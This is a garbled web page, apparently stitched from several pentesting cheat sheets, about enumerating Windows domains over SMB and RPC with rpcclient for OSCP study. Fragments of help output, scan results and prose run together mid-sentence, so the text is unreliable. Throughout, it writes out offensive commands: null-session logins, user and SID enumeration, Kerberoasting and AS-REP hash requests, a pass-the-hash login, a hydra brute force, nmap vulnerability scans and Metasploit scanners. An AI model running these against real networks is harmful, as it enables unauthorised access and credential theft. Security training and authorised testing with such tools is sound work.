rpcclient enumeration oscp

if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! Password attack (Brute-force) Brute-force service password. This is an enumeration cheat sheet that I created while pursuing the OSCP. -?, --help Show this help message | IDs: CVE:CVE-2006-2370 IPC$ NO ACCESS schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1000 This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. This command can be used to extract the details regarding the user that the SID belongs. 3. After manipulating the Privileges on the different users and groups it is possible to enumerate the values of those specific privileges for a particular user using the lsalookupprivvalue command. The name is derived from the enumeration of domain users. dfsenum Enumerate dfs shares It can be observed that the os version seems to . result was NT_STATUS_NONE_MAPPED. GENERAL OPTIONS S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2) A null session is a connection with a samba or SMB server that does not require authentication with a password. One of the first enumeration commands to be demonstrated here is the srvinfo command. In this article, we are going to focus on the enumeration of the Domain through the SMB and RPC channels. | execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability." Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out. | \\[ip]\C$: srvinfo Server query info samquerysecobj Query SAMR security object Guest access disabled by default. SYSVOL NO ACCESS, [+] Finding open SMB ports. | Current user access: READ/WRITE | Comment: Default share path: C:\tmp lsaenumsid Enumerate the LSA SIDS After creating the group, it is possible to see the newly created group using the enumdomgroup command. So, it is also a good way to enumerate what kind of services might be running on the server, this can be done using enumdomgroup. The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: Which are used by some browsers and tools (like Skype), From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html, Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. In the previous command, we used the getdompwinfo to get the password properties of the domain administrated by the policies. querydispinfo Query display info shutdown Remote Shutdown If proper privileges are assigned it also possible to delete a user using the rpcclient. enumkey Enumerate printer keys great when smbclient doesnt work MAC Address: 00:50:56:XX:XX:XX (VMware) NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME), # returns NT_STATUS_ACCESS_DENIED or even gives you a session. If you want to enumerate all the shares then use netshareenumall. | smb-vuln-ms06-025: PWK Notes: SMB Enumeration Checklist [Updated] - 0xdf hacks stuff | Disclosure date: 2006-6-27 Replication READ ONLY -l, --log-basename=LOGFILEBASE Basename for log/debug files enumdomgroups Enumerate domain groups May need to run a second time for success. It is possible to target the group using the RID that was extracted while running the enumdomgroup. getdompwinfo Retrieve domain password info enumdomusers Enumerate domain users Heres an example Unix Samba 2.2.3a: Windows SMB is more complex than just a version, but looking in wireshark will give a bunch of information about the connection. It enumerates alias groups on the domain. lookupnames Convert names to SIDs Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. getdataex Get printer driver data with keyname getdispname Get the privilege name getdata Get print driver data In the demonstration below, the attacker chooses S-1-1-0 SID to enumerate. ADMIN$ Disk Remote Admin Enum4linux is a Linux alternative to enum.exe and is used to enumerate data from Windows and Samba hosts. rpcclient $> help Pentesting Cheatsheets. The group information helps the attacker to plan their way to the Administrator or elevated access. All this can be observed in the usage of the lsaenumprivaccount command. In other words - it's possible to enumerate AD (or create/delete AD users, etc.) Password Checking if you found with other enum . rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000 Curious to see if there are any "guides" out there that delve into SMB . rpcclient -U "" 192.168.1.100 rpcclient $> querydominfo . #These are the commands I run in order every time I see an open SMB port, smbclient -N //{IP}/ --option="client min protocol"=LANMAN1, crackmapexec smb {IP} --pass-pol -u "" -p "", crackmapexec smb {IP} --pass-pol -u "guest" -p "", GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all, GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat, GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/", smbmap -H {IP} -u {Username} -p {Password}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`, crackmapexec smb {IP} -u {Username} -p {Password} --shares, GetADUsers.py {Domain_Name}/{Username}:{Password} -all, GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat, GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request, https://book.hacktricks.xyz/pentesting/pentesting-smb, Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}, Description: SMB Vuln Scan With Nmap (Less Specific), Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}, Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb, Name: SMB/SMB2 139/445 consolesless mfs enumeration, Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole, Note: sourced from https://github.com/carlospolop/legion, Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'. 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